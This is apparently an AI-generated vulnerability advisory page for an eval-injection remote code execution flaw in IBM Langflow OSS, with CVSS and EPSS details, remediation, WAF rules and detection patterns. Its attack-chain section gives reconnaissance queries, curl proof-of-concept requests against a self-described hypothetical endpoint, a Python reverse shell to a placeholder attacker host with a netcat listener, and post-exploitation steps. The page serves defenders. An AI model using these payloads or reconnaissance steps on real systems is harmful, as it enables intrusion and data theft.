CVE Professor
/
All CVEs
CVE-2026-122088

CVE-2026-122088 — IBM Langflow OSS (1.13.0) — CWE-95

HIGH CVSS 8.8 ⚡ EPSS 0.8% CVE.org

IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an expression evaluation.

IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an expression evaluation.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.8%
30-day probability
In the 57. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-122088 is a critical Remote Code Execution (RCE) vulnerability in IBM Langflow OSS, affecting versions 1.0.0 through 1.13.0. The root cause is classified as CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').

Technical Flaw Analysis

Langflow is a low-code platform for building LLM applications, allowing users to construct workflows by connecting nodes (e.g., LLMs, vector stores, tools). The vulnerability arises because the application dynamically evaluates user-supplied input within a Python execution context without sufficient sanitization or sandboxing.

Specifically, the flaw occurs when:
1. An authenticated user (PR:L) submits data via an API endpoint or UI component that is intended for configuration or data processing.
2. The backend processes this input by passing it to a Python eval(), exec(), or similar dynamic code execution function.
3. The input is not properly neutralized, allowing the injection of arbitrary Python code.

The CVSS vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H confirms:

  • Network Vector (AV:N): Exploitable remotely.

  • Low Complexity (AC:L): No race conditions or complex timing required.

  • Low Privileges (PR:L): Requires a valid user account (not necessarily admin, but any authenticated user).

  • No User Interaction (UI:N): The attacker can trigger the exploit directly via API.

  • High Impact (C:H/I:H/A:H): Full compromise of the server.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: Identify the target as running IBM Langflow. This can be done by:
  • - Checking for default UI paths (e.g., /, /api/v1/). - Looking for specific headers or error messages containing "Langflow". - Using Shodan/Censys queries for open ports (default 7860 or 8080) with Langflow signatures.
  • Version Enumeration: Determine if the version is between 1.0.0 and 1.13.0. This may be possible via:
  • - API endpoints like /api/v1/version (if exposed). - UI version indicators in the footer or settings page. - Error messages that leak version info.
  • Authentication: Obtain valid credentials. This could be via:
  • - Default credentials (if not changed). - Credential stuffing or phishing. - Compromised low-privilege user account.

    2. Exploitation

    Note: The exact endpoint and parameter name are not specified in the CVE description. The following is an illustrative example of how such a vulnerability is typically exploited in Python-based LLM workflow tools.

    Hypothesis: Langflow likely has an endpoint for testing or executing custom code snippets, or a component that allows dynamic expression evaluation for data transformation. A common vulnerable pattern in such tools is a "Code" node or a "Custom Function" input.

    Illustrative PoC (curl):
    Assume there is an API endpoint /api/v1/flows/{flow_id}/execute or a specific component input that accepts a Python expression. Let's assume a vulnerable parameter expression in a data transformation node.

    # Step 1: Authenticate (Illustrative)
    # Replace <TOKEN> with a valid JWT or API key for a low-privilege user
    curl -X POST "http://<TARGET>:7860/api/v1/flows/12345/execute" \
      -H "Authorization: Bearer <TOKEN>" \
      -H "Content-Type: application/json" \
      -d '{
        "inputs": {
          "node_1": {
            "expression": "__import__(\"os\").system(\"id\")"
          }
        }
      }'

    Alternative Payload (Reverse Shell):
    If the environment allows outbound connections, a reverse shell can be established:

    # Payload to inject into the vulnerable parameter
    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])

    Curl Command for Reverse Shell:

    curl -X POST "http://<TARGET>:7860/api/v1/flows/12345/execute" \
      -H "Authorization: Bearer <TOKEN>" \
      -H "Content-Type: application/json" \
      -d '{
        "inputs": {
          "node_1": {
            "expression": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
          }
        }
      }'

    Listener on Attacker Machine:

    nc -lvnp 4444

    3. Post-Exploitation

    Once code execution is achieved:
  • Privilege Escalation: Check current user permissions. If running as root or a user with sudo privileges, escalate.
  • Persistence: Create a webshell, cron job, or modify Langflow configuration to auto-execute malicious code on startup.
  • Data Exfiltration: Access sensitive data stored in Langflow (API keys, LLM prompts, user data) and exfiltrate it.
  • Lateral Movement: Use the compromised host to scan the internal network for other vulnerable services.
  • 🌍 Real World Impact

  • Confidentiality (High): Attackers can read all data accessible to the Langflow process, including:
  • - API keys for LLM providers (OpenAI, Anthropic, etc.). - User data and conversation history. - Internal configuration files.
  • Integrity (High): Attackers can modify workflows, inject malicious prompts, or alter data processing logic to corrupt data or manipulate LLM outputs.
  • Availability (High): Attackers can crash the service, delete data, or deploy ransomware.
  • Practical Consequences:

  • Financial Loss: Compromised API keys can lead to unauthorized usage of paid LLM services, resulting in significant bills.

  • Data Breach: Sensitive user data or proprietary business information stored in Langflow can be leaked.

  • Supply Chain Risk: If Langflow is used to build customer-facing applications, the compromise can affect end-users.
  • 🛡️ Remediation & Mitigation

    1. Upgrade

  • Affected Versions: IBM Langflow OSS 1.0.0 through 1.13.0.
  • Recommendation: Upgrade to the latest patched version (1.14.0 or later, as per IBM's security advisory). Check IBM's official security page for the exact fixed version.
  • 2. Workarounds (If Immediate Upgrade is Not Possible)

  • Disable Dynamic Code Execution: If Langflow has a setting to disable custom code nodes or dynamic expression evaluation, disable it.
  • Network Segmentation: Restrict outbound network access from the Langflow server to prevent reverse shells and data exfiltration.
  • WAF Rules: Implement a Web Application Firewall (WAF) rule to block common Python injection patterns.
  • Example ModSecurity Rule (Illustrative):

    SecRule REQUEST_BODY|ARGS "@rx __import__|os\.system|subprocess|socket\.socket" \
        "id:100001,phase:2,deny,status:403,msg:'Potential Python Code Injection Detected'"
  • Access Control: Restrict access to the Langflow API to trusted IPs only. Require strong authentication and consider multi-factor authentication (MFA) for all users.
  • 3. Detection

  • Web Server Logs: Look for POST requests to Langflow API endpoints with suspicious payloads in the request body.
  • - IoC Patterns: __import__, os.system, subprocess, socket.socket, eval(, exec(. - Example Log Entry:
    POST /api/v1/flows/12345/execute HTTP/1.1
            Content-Type: application/json
            {"inputs": {"node_1": {"expression": "__import__(\"os\").system(\"id\")"}}}
  • Process Monitoring: Monitor for unexpected child processes spawned by the Langflow process (e.g., /bin/sh, nc, curl).
  • Network Monitoring: Alert on outbound connections from the Langflow server to unusual IP addresses or ports.
  • ⚠️ Urgency

  • CVSS Score: 8.8 (HIGH)
  • CISA KEV: No (Not currently listed in the Known Exploited Vulnerabilities catalog)
  • Exploit Complexity: Low (AC:L)
  • Authentication Required: Yes (PR:L)
  • Patching Priority: HIGH

    Although not in CISA KEV, the low complexity and high impact make this a critical vulnerability. Any organization running Langflow 1.0.0-1.13.0 should treat this as an urgent patching priority. The risk is elevated if:

  • Default credentials are in use.

  • The server is exposed to the internet.

  • Sensitive API keys or data are stored in Langflow.


Immediate Actions:
1. Identify all instances of Langflow in the environment.
2. Verify versions.
3. Apply the patch or upgrade to the latest version.
4. Rotate any API keys or credentials that may have been exposed.
5. Review logs for signs of exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="IBM Langflow OSS"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-95
Affected Products (1)
IBM:Langflow OSS (1.13.0)
References & Advisories (1)
Related CVEs
9.9
CVE-2026-115550
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
9.9
CVE-2026-115555
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
9.8
CVE-2026-119106
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary code due to a heap-based
9.8
CVE-2026-121835
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary commands due to improper
8.5
CVE-2026-144448
Cell-ACDC through 1.9.0 contains a code injection vulnerability that allows attackers to execute code by suppl
0.0
CVE-2026-133711
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') in the Human Resources
8.5
CVE-2026-141592
Kangas before 2.4.12 contains an eval injection vulnerability that allows attackers to execute Python code by